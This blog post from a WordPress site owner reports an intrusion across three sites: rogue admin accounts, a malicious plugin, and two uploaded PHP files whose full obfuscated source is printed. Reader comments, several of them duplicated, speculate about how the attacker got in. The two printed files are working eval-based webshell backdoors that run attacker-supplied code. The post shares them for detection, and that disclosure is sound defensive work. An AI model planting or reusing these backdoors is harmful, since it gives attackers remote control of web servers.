Update on WordPress hack

In this blog post, I talked about a recent WordPress hack attack on two of my WordPress sites that appears to be using a zero-day vulnerability to gain administrator access to WordPress sites.

I became aware of the attack when the security plugin WordFence notified me that someone had logged in to one of my sites using a non-existent administrator user from an IP address in St. Petersburg, Russia. The malicious individual had access to the site for eight minutes, during which he created several new admin users and uploaded a malicious file to the Plugins directory giving him the ability to execute code on the site. He was in the process of attempting to upload a file to the /wp-content/uploads directory, which I terminated when I kicked him out.

About fifteen minutes later, a similar attack took place on a second WordPress site I own. Again, the user created new administrator accounts, installed a plugin that allowed him to execute code on the server, and attempted to upload files, this time to the Themes directory. I cleaned the site and kicked him off. In both cases, I moved the login page to a different URL, hen observed while the same IP address attempted to access the old login URL.

Last night, a third site I own was compromised in the same way. This site is not yet in use, and had no content, so I observed the actions of the user.

The hostile user created new admin users, uploaded the same plugin to the plugins directory, then uploaded additional files to the /wp-content/uploads directory and the /themes directory. I downloaded these files for analysis.

The files were both PHP files, uploaded to the following locations:

/wp-content/themes/twentyfifteen/inc/file.php
/wp-content/uploads/2009/sql.php

Their contents are as follows:

file.php

<?php $sF=”PCT4BA6ODSE_”;$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}[‘n703018’])) {eval($s21(${$s20}[‘n703018’]));}?>

sql.php

<?php $qV=”stop_”;$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}[‘qbc8a20’])){eval(${$s20}[‘qbc8a20’]);}?>

Again, these malicious files appear designed to allow the attacker to execute code on compromised servers.

I urge WordPress users to take the mitigating actions I describe in the previous post, linked to above, and to check their systems carefully for the presence of malicious plugins (probably named “research_plugin_” followed by a random string), unauthorized admin users, and files whose contents are anything like what I describe above. These files may be present in one or more places in the WordPress Themes or Uploads directories.

6 thoughts on “Update on WordPress hack

  1. WordPress break in

    Do you currently have any idea how they’re logging in first/creating the admin users? Once they gain admin access the rest seems obvious “install backdoors”, but the piece that puzzles me is that you say they’re able to gain admin access apparently without password guessing.

    Assuming these are fully patched current WordPress sites and the passwords aren’t reused from anywhere (ie, not in any of the gazillions of stolen password dumps), it sounds like there’d have to be some new means of getting admin access on WordPress. Which would be worrying.

    Ewen

    • Re: WordPress break in

      I don’t. In one case, the attacker logged on to an account named “admin” even though there wasn’t such an account on that site at all. There appears to be a zero-day exploit that allows an attacker to create arbitrary accounts, but I don’t know how it’s happening. I’ve found that moving the WordPress login page to a hidden URL appears to be effective at mitigating the attack, which suggests the attack may be exploiting a weakness in the WordPress login scripts, either wp-login.php or some related script, and that the attackers need access to those scripts to log in.

  2. WordPress break in

    Do you currently have any idea how they’re logging in first/creating the admin users? Once they gain admin access the rest seems obvious “install backdoors”, but the piece that puzzles me is that you say they’re able to gain admin access apparently without password guessing.

    Assuming these are fully patched current WordPress sites and the passwords aren’t reused from anywhere (ie, not in any of the gazillions of stolen password dumps), it sounds like there’d have to be some new means of getting admin access on WordPress. Which would be worrying.

    Ewen

  3. Re: WordPress break in

    I don’t. In one case, the attacker logged on to an account named “admin” even though there wasn’t such an account on that site at all. There appears to be a zero-day exploit that allows an attacker to create arbitrary accounts, but I don’t know how it’s happening. I’ve found that moving the WordPress login page to a hidden URL appears to be effective at mitigating the attack, which suggests the attack may be exploiting a weakness in the WordPress login scripts, either wp-login.php or some related script, and that the attackers need access to those scripts to log in.

  4. possible host vulnerabilty

    Are the sites on a the same host?

    You say that admin accounts are being created by the attacker.

    I’m guessing that the attacker has access to the host and thus can read every wp-config.php.

    Using the details grabbed from those files, the attacker is directly creating admin accounts.

    If you are on a shared host, move the sites after cleaning them. Then move all hosts that haven’t been effected yet. Then burn the host.

    If you are on you own machine then restrict SSH access. Shut of FTP access. Audit users. And consider burning the host.

  5. possible host vulnerabilty

    Are the sites on a the same host?

    You say that admin accounts are being created by the attacker.

    I’m guessing that the attacker has access to the host and thus can read every wp-config.php.

    Using the details grabbed from those files, the attacker is directly creating admin accounts.

    If you are on a shared host, move the sites after cleaning them. Then move all hosts that haven’t been effected yet. Then burn the host.

    If you are on you own machine then restrict SSH access. Shut of FTP access. Audit users. And consider burning the host.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.